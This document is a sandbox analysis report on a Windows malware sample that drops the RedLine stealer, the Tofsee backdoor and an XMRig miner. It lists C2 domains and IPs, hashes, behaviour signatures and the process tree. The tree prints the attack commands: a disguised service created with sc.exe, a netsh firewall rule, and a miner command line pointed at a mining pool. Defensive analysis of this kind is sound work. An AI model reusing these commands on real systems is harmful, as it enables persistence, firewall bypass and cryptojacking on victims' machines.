Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    05-06-2022 05:53

General

  • Target

    b34526aa6b117d193c47b0e3a23d4145ab32bca9da64e5c1cf7ad74e1d37eae6.exe

  • Size

    310KB

  • MD5

    0dafafddb4d1e562de61a3da899229a0

  • SHA1

    eec5a759b066b0692a60e3cab4a66a2efd0a6f04

  • SHA256

    b34526aa6b117d193c47b0e3a23d4145ab32bca9da64e5c1cf7ad74e1d37eae6

  • SHA512

    db7e18317fe1f90c237cea9396d68224c9fa26e4303f5249fd58337abd71c0f7775afafff8f97d47c72e442660ba7ca88e94991ed29fd98d7748925314fc4775

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Extracted

Family

redline

Botnet

mario10_05_50k

C2

176.122.23.55:32478

Attributes
  • auth_value

    8a0f0d4d76987def30f88d91e2c0388d

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b34526aa6b117d193c47b0e3a23d4145ab32bca9da64e5c1cf7ad74e1d37eae6.exe
    "C:\Users\Admin\AppData\Local\Temp\b34526aa6b117d193c47b0e3a23d4145ab32bca9da64e5c1cf7ad74e1d37eae6.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:3932
  • C:\Users\Admin\AppData\Local\Temp\5CB6.exe
    C:\Users\Admin\AppData\Local\Temp\5CB6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
      "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1584
  • C:\Users\Admin\AppData\Local\Temp\6A34.exe
    C:\Users\Admin\AppData\Local\Temp\6A34.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fjilxiue\
      2⤵
        PID:3940
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jkbviowz.exe" C:\Windows\SysWOW64\fjilxiue\
        2⤵
          PID:1252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fjilxiue binPath= "C:\Windows\SysWOW64\fjilxiue\jkbviowz.exe /d\"C:\Users\Admin\AppData\Local\Temp\6A34.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fjilxiue "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fjilxiue
          2⤵
          • Launches sc.exe
          PID:1084
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2096
      • C:\Windows\SysWOW64\fjilxiue\jkbviowz.exe
        C:\Windows\SysWOW64\fjilxiue\jkbviowz.exe /d"C:\Users\Admin\AppData\Local\Temp\6A34.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:308
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1888
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:30576
      • C:\Users\Admin\AppData\Local\Temp\A1A1.exe
        C:\Users\Admin\AppData\Local\Temp\A1A1.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3972
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:30280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 54304
          2⤵
          • Program crash
          PID:30388
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
        • Accesses Microsoft Outlook profiles
        • outlook_office_path
        • outlook_win_path
        PID:1844
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe
        1⤵
          PID:5656
        • C:\Users\Admin\AppData\Local\Temp\21EE.exe
          C:\Users\Admin\AppData\Local\Temp\21EE.exe
          1⤵
          • Executes dropped EXE
          PID:30640
        • C:\Users\Admin\AppData\Local\Temp\35B5.exe
          C:\Users\Admin\AppData\Local\Temp\35B5.exe
          1⤵
          • Executes dropped EXE
          PID:4052
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:2300
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:30308
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:30284
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:30588
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:30700
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:3228
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:30840
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:31000
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:31176

                          Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\21EE.exe
                            Filesize

                            4.0MB

                            MD5

                            494298dd797eff60c8a0e5da5700f6a6

                            SHA1

                            cbe73e294675abb2c3fadcd430b678c6811ff605

                            SHA256

                            c163314e4b432b5bd2955f79a65ce05d0ff92e4cad74c6e2685424946dd87363

                            SHA512

                            871f2cda3d5034e69ae1f2d80ffe716a0d3f251622264ef9a0874e38246cf8902d7064192b9a1d7421a92c656dc1344c8b832393d5a7ee44defd11079de25488

                          • C:\Users\Admin\AppData\Local\Temp\21EE.exe
                            Filesize

                            4.0MB

                            MD5

                            494298dd797eff60c8a0e5da5700f6a6

                            SHA1

                            cbe73e294675abb2c3fadcd430b678c6811ff605

                            SHA256

                            c163314e4b432b5bd2955f79a65ce05d0ff92e4cad74c6e2685424946dd87363

                            SHA512

                            871f2cda3d5034e69ae1f2d80ffe716a0d3f251622264ef9a0874e38246cf8902d7064192b9a1d7421a92c656dc1344c8b832393d5a7ee44defd11079de25488

                          • C:\Users\Admin\AppData\Local\Temp\35B5.exe
                            Filesize

                            4.0MB

                            MD5

                            e548a5db7e04a8627fa928f0cfba8a74

                            SHA1

                            976591f972e588bee67825fb5dfcaca345c338ba

                            SHA256

                            6bf7bef9de2dcf0a7df5bd49ba7e6b96303bde5ebfda923b9b2cb04798be9472

                            SHA512

                            7ddd5fa359007f0085d55f7c6c9b990fd58b00718f2cf7c4b68d63a591a1565281493acf9a35e6e5011b684f49ad665d3c7be0626fa5c55d88b0c3e2c219fc12

                          • C:\Users\Admin\AppData\Local\Temp\35B5.exe
                            Filesize

                            4.0MB

                            MD5

                            e548a5db7e04a8627fa928f0cfba8a74

                            SHA1

                            976591f972e588bee67825fb5dfcaca345c338ba

                            SHA256

                            6bf7bef9de2dcf0a7df5bd49ba7e6b96303bde5ebfda923b9b2cb04798be9472

                            SHA512

                            7ddd5fa359007f0085d55f7c6c9b990fd58b00718f2cf7c4b68d63a591a1565281493acf9a35e6e5011b684f49ad665d3c7be0626fa5c55d88b0c3e2c219fc12

                          • C:\Users\Admin\AppData\Local\Temp\5CB6.exe
                            Filesize

                            711KB

                            MD5

                            b5f6c4fb406978eb90663fb2b5300963

                            SHA1

                            95641f7580a9391b4918237eaf55f5708bf9a77e

                            SHA256

                            bf832373fe927c65e698798349604bd0d393fead3b19d3ab5266651896dc9f79

                            SHA512

                            bd10fb6728a0dbf1b6c899991747df97fd8601549863dd941296d817a1299e7793e2e094ac2ffa4586c5e664fe37098ecd7d12eca32f17b7f0ed4f0ebf0e5628

                          • C:\Users\Admin\AppData\Local\Temp\5CB6.exe
                            Filesize

                            711KB

                            MD5

                            b5f6c4fb406978eb90663fb2b5300963

                            SHA1

                            95641f7580a9391b4918237eaf55f5708bf9a77e

                            SHA256

                            bf832373fe927c65e698798349604bd0d393fead3b19d3ab5266651896dc9f79

                            SHA512

                            bd10fb6728a0dbf1b6c899991747df97fd8601549863dd941296d817a1299e7793e2e094ac2ffa4586c5e664fe37098ecd7d12eca32f17b7f0ed4f0ebf0e5628

                          • C:\Users\Admin\AppData\Local\Temp\6A34.exe
                            Filesize

                            309KB

                            MD5

                            9d1fe9a2662b8197482fd35c451577ac

                            SHA1

                            da070a55592640ca42b9e4f38a3f7c3eee2522c1

                            SHA256

                            de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5

                            SHA512

                            34ad51dd9206777d24b680c2fe329d876e711c143be5aa8c3ebee52409c4fe0b14ff8378ef805c307236dbd62d991eaf41cdd6403057e6f05305b7cb40fe704a

                          • C:\Users\Admin\AppData\Local\Temp\6A34.exe
                            Filesize

                            309KB

                            MD5

                            9d1fe9a2662b8197482fd35c451577ac

                            SHA1

                            da070a55592640ca42b9e4f38a3f7c3eee2522c1

                            SHA256

                            de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5

                            SHA512

                            34ad51dd9206777d24b680c2fe329d876e711c143be5aa8c3ebee52409c4fe0b14ff8378ef805c307236dbd62d991eaf41cdd6403057e6f05305b7cb40fe704a

                          • C:\Users\Admin\AppData\Local\Temp\A1A1.exe
                            Filesize

                            2.2MB

                            MD5

                            05fbc47649d9feb4628dcd97518e9bed

                            SHA1

                            88fc4d46f7642213158d64b05e451741dccf03ca

                            SHA256

                            249a5f60f9439a168a539c45a155cca08ff9e9b2fe132e61ad6ad199eed5e209

                            SHA512

                            e85feb6dce588228b2ccfeb8bf245777c5c992634f22508439185cf905f484101c90255bc0a58e9a7e242a94e48a17106356e8c94050c2a5b203227315c24059

                          • C:\Users\Admin\AppData\Local\Temp\A1A1.exe
                            Filesize

                            2.2MB

                            MD5

                            05fbc47649d9feb4628dcd97518e9bed

                            SHA1

                            88fc4d46f7642213158d64b05e451741dccf03ca

                            SHA256

                            249a5f60f9439a168a539c45a155cca08ff9e9b2fe132e61ad6ad199eed5e209

                            SHA512

                            e85feb6dce588228b2ccfeb8bf245777c5c992634f22508439185cf905f484101c90255bc0a58e9a7e242a94e48a17106356e8c94050c2a5b203227315c24059

                          • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
                            Filesize

                            41KB

                            MD5

                            6a673bfc3b67ae9782cb31af2f234c68

                            SHA1

                            7544e89566d91e84e3cd437b9a073e5f6b56566e

                            SHA256

                            978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

                            SHA512

                            72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

                          • C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
                            Filesize

                            41KB

                            MD5

                            6a673bfc3b67ae9782cb31af2f234c68

                            SHA1

                            7544e89566d91e84e3cd437b9a073e5f6b56566e

                            SHA256

                            978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e

                            SHA512

                            72c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39

                          • C:\Users\Admin\AppData\Local\Temp\jkbviowz.exe
                            Filesize

                            10.5MB

                            MD5

                            ace56a6960041ba3bf01beca17ed3df6

                            SHA1

                            d29de4f192d42fd177c9454b0af3ffb4b061e94d

                            SHA256

                            7487d045dfb29ffc74fd0c085b531d9c26f532662804913be4ed879a7727ace8

                            SHA512

                            8bb1013970d00ae56ea028e87dfcb64cc82f40ce7a48af3402cf38493f4224ed39cecdc057e17d66ec965093c99630f98597a756a715a679b6f19593d40f6124

                          • C:\Windows\SysWOW64\config\systemprofile\
                            MD5

                            d41d8cd98f00b204e9800998ecf8427e

                            SHA1

                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                            SHA256

                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                            SHA512

                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                          • C:\Windows\SysWOW64\fjilxiue\jkbviowz.exe
                            Filesize

                            10.5MB

                            MD5

                            ace56a6960041ba3bf01beca17ed3df6

                            SHA1

                            d29de4f192d42fd177c9454b0af3ffb4b061e94d

                            SHA256

                            7487d045dfb29ffc74fd0c085b531d9c26f532662804913be4ed879a7727ace8

                            SHA512

                            8bb1013970d00ae56ea028e87dfcb64cc82f40ce7a48af3402cf38493f4224ed39cecdc057e17d66ec965093c99630f98597a756a715a679b6f19593d40f6124

                          • memory/308-473-0x0000000000400000-0x00000000004F3000-memory.dmp
                            Filesize

                            972KB

                          • memory/308-449-0x0000000000500000-0x00000000005AE000-memory.dmp
                            Filesize

                            696KB

                          • memory/1084-349-0x0000000000000000-mapping.dmp
                          • memory/1252-315-0x0000000000000000-mapping.dmp
                          • memory/1584-672-0x0000000000400000-0x0000000000409000-memory.dmp
                            Filesize

                            36KB

                          • memory/1584-489-0x0000000000400000-0x0000000000409000-memory.dmp
                            Filesize

                            36KB

                          • memory/1584-442-0x0000000000402DF5-mapping.dmp
                          • memory/1844-764-0x0000000002F50000-0x0000000002FBB000-memory.dmp
                            Filesize

                            428KB

                          • memory/1844-605-0x0000000000000000-mapping.dmp
                          • memory/1844-726-0x0000000003200000-0x0000000003274000-memory.dmp
                            Filesize

                            464KB

                          • memory/1844-728-0x0000000002F50000-0x0000000002FBB000-memory.dmp
                            Filesize

                            428KB

                          • memory/1888-592-0x00000000005E0000-0x00000000005F5000-memory.dmp
                            Filesize

                            84KB

                          • memory/1888-464-0x00000000005E9A6B-mapping.dmp
                          • memory/1888-765-0x00000000005E0000-0x00000000005F5000-memory.dmp
                            Filesize

                            84KB

                          • memory/2096-368-0x0000000000000000-mapping.dmp
                          • memory/2144-335-0x0000000000000000-mapping.dmp
                          • memory/2300-1305-0x0000000000000000-mapping.dmp
                          • memory/3228-1448-0x0000000000000000-mapping.dmp
                          • memory/3384-485-0x00000000702E0000-0x0000000070AC0000-memory.dmp
                            Filesize

                            7.9MB

                          • memory/3384-183-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-153-0x0000000000000000-mapping.dmp
                          • memory/3384-460-0x0000000072060000-0x00000000733EF000-memory.dmp
                            Filesize

                            19.6MB

                          • memory/3384-158-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-159-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-160-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-161-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-162-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-164-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-466-0x0000000071550000-0x0000000071F60000-memory.dmp
                            Filesize

                            10.1MB

                          • memory/3384-165-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-166-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-168-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-167-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-170-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-171-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-169-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-172-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-173-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-174-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-175-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-176-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-177-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-178-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-179-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-180-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-181-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-182-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-155-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-184-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-185-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-186-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-190-0x0000000000C70000-0x0000000000D88000-memory.dmp
                            Filesize

                            1.1MB

                          • memory/3384-313-0x0000000006C80000-0x0000000006C8A000-memory.dmp
                            Filesize

                            40KB

                          • memory/3384-474-0x0000000070AC0000-0x00000000711FE000-memory.dmp
                            Filesize

                            7.2MB

                          • memory/3384-203-0x0000000072060000-0x00000000733EF000-memory.dmp
                            Filesize

                            19.6MB

                          • memory/3384-478-0x00000000701E0000-0x00000000702DC000-memory.dmp
                            Filesize

                            1008KB

                          • memory/3384-206-0x000000000A010000-0x000000000A50E000-memory.dmp
                            Filesize

                            5.0MB

                          • memory/3384-207-0x0000000071550000-0x0000000071F60000-memory.dmp
                            Filesize

                            10.1MB

                          • memory/3384-208-0x00000000055B0000-0x000000000564C000-memory.dmp
                            Filesize

                            624KB

                          • memory/3384-209-0x0000000005650000-0x00000000056E2000-memory.dmp
                            Filesize

                            584KB

                          • memory/3384-210-0x0000000005980000-0x0000000005CD0000-memory.dmp
                            Filesize

                            3.3MB

                          • memory/3384-234-0x0000000070AC0000-0x00000000711FE000-memory.dmp
                            Filesize

                            7.2MB

                          • memory/3384-240-0x00000000702E0000-0x0000000070AC0000-memory.dmp
                            Filesize

                            7.9MB

                          • memory/3384-245-0x00000000701E0000-0x00000000702DC000-memory.dmp
                            Filesize

                            1008KB

                          • memory/3384-309-0x0000000006880000-0x00000000068B0000-memory.dmp
                            Filesize

                            192KB

                          • memory/3384-156-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-339-0x0000000008D10000-0x0000000008D2A000-memory.dmp
                            Filesize

                            104KB

                          • memory/3384-295-0x0000000000C70000-0x0000000000D88000-memory.dmp
                            Filesize

                            1.1MB

                          • memory/3384-341-0x0000000007780000-0x0000000007786000-memory.dmp
                            Filesize

                            24KB

                          • memory/3384-157-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3384-344-0x0000000009410000-0x0000000009432000-memory.dmp
                            Filesize

                            136KB

                          • memory/3500-324-0x0000000000000000-mapping.dmp
                          • memory/3544-283-0x0000000000400000-0x00000000004F3000-memory.dmp
                            Filesize

                            972KB

                          • memory/3544-281-0x0000000000560000-0x00000000006AA000-memory.dmp
                            Filesize

                            1.3MB

                          • memory/3544-247-0x0000000002100000-0x0000000002113000-memory.dmp
                            Filesize

                            76KB

                          • memory/3544-194-0x0000000000000000-mapping.dmp
                          • memory/3544-371-0x0000000002100000-0x0000000002113000-memory.dmp
                            Filesize

                            76KB

                          • memory/3544-373-0x0000000000400000-0x00000000004F3000-memory.dmp
                            Filesize

                            972KB

                          • memory/3932-149-0x0000000000701000-0x0000000000711000-memory.dmp
                            Filesize

                            64KB

                          • memory/3932-125-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-152-0x0000000000400000-0x00000000004F3000-memory.dmp
                            Filesize

                            972KB

                          • memory/3932-151-0x0000000000400000-0x00000000004F3000-memory.dmp
                            Filesize

                            972KB

                          • memory/3932-150-0x0000000000550000-0x0000000000559000-memory.dmp
                            Filesize

                            36KB

                          • memory/3932-140-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-143-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-147-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-148-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-146-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-145-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-144-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-142-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-141-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-139-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-138-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-137-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-136-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-135-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-134-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-133-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-122-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-132-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-131-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-130-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-129-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-121-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-120-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-128-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-127-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-126-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-123-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-124-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-116-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-117-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-119-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3932-118-0x00000000772B0000-0x000000007743E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/3940-302-0x0000000000000000-mapping.dmp
                          • memory/3972-810-0x0000000000400000-0x000000000053A000-memory.dmp
                            Filesize

                            1.2MB

                          • memory/3972-552-0x0000000000000000-mapping.dmp
                          • memory/4052-1300-0x0000000000000000-mapping.dmp
                          • memory/5656-637-0x00000000006E0000-0x00000000006EC000-memory.dmp
                            Filesize

                            48KB

                          • memory/5656-630-0x0000000000000000-mapping.dmp
                          • memory/30280-817-0x0000000006A00000-0x0000000006A20000-memory.dmp
                            Filesize

                            128KB

                          • memory/30280-930-0x000000000C150000-0x000000000C1B6000-memory.dmp
                            Filesize

                            408KB

                          • memory/30280-845-0x0000000008FD0000-0x000000000900E000-memory.dmp
                            Filesize

                            248KB

                          • memory/30280-847-0x0000000008E60000-0x0000000008EAB000-memory.dmp
                            Filesize

                            300KB

                          • memory/30280-850-0x000000006D720000-0x000000006EA27000-memory.dmp
                            Filesize

                            19.0MB

                          • memory/30280-878-0x000000006D460000-0x000000006D71B000-memory.dmp
                            Filesize

                            2.7MB

                          • memory/30280-882-0x000000006CD20000-0x000000006D45E000-memory.dmp
                            Filesize

                            7.2MB

                          • memory/30280-885-0x000000006F670000-0x000000006F76C000-memory.dmp
                            Filesize

                            1008KB

                          • memory/30280-771-0x000000000041236E-mapping.dmp
                          • memory/30280-923-0x000000000B6D0000-0x000000000B746000-memory.dmp
                            Filesize

                            472KB

                          • memory/30280-926-0x000000000B6B0000-0x000000000B6CE000-memory.dmp
                            Filesize

                            120KB

                          • memory/30280-844-0x000000006EA30000-0x000000006F5DE000-memory.dmp
                            Filesize

                            11.7MB

                          • memory/30280-1074-0x0000000071860000-0x0000000072BEF000-memory.dmp
                            Filesize

                            19.6MB

                          • memory/30280-841-0x0000000070270000-0x0000000070663000-memory.dmp
                            Filesize

                            3.9MB

                          • memory/30280-1121-0x0000000070E50000-0x0000000071860000-memory.dmp
                            Filesize

                            10.1MB

                          • memory/30280-1124-0x0000000070670000-0x0000000070E50000-memory.dmp
                            Filesize

                            7.9MB

                          • memory/30280-1156-0x000000006D460000-0x000000006D71B000-memory.dmp
                            Filesize

                            2.7MB

                          • memory/30280-808-0x0000000000400000-0x0000000000418000-memory.dmp
                            Filesize

                            96KB

                          • memory/30280-839-0x000000000B540000-0x000000000B64A000-memory.dmp
                            Filesize

                            1.0MB

                          • memory/30280-840-0x0000000070670000-0x0000000070E50000-memory.dmp
                            Filesize

                            7.9MB

